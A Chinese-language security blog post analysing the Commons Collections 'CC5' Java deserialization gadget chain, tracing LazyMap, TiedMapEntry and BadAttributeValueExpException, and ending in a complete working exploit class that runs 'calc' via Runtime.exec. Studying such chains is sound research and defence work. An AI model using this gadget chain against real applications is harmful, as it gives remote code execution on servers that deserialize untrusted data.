Java反序列化CC5链

Java反序列化CC5链

总览

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

分析

LazyMap

这一条跟CC1有点像,回顾一下CC1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

后半段都是一样的,只不过 调用 LazyMap.get()用的是 TiedMapEntry.toString()触发的

跟进一下LazyMap​,触发点依旧是get,看一下factory的赋值。

image

私有方法不能直接需改,看一下decorate​方法,factory在此处赋值。

image

TiedMapEntry

把封装好的chainedTransformer放在factory.decorate()里面就可以了,接下来我们需要找一下谁调用了get方法

image

看一下getKey()​和getValue()

getKey()​直接返回key,getValue()​如下图

image

看一下TiedMapEntry​构造函数

image

参数都可控

BadAttributeValueExpException

接下来要找谁的readObject调用了toString(),toString()也有很多,最后定位到BadAttributeValueExpException

image

这里注意,由于构造函数在构造时会直接调用 toString()

image

所以我们应该先传入一个随便的类型,然后通过反射修改 val属性为 我们构造的TiedMapEntry,这样的话,反序列化时才会调用TiedMapEntry 生成序列化数据时不会调用链子

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5Test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
Class c = badAttributeValueExpException.getClass();
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);

serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

image


Java反序列化CC5链
http://example.com/post/java-deserialize-cc5-chain-ntewa.html
作者
Dre4m
发布于
2025年9月29日
许可协议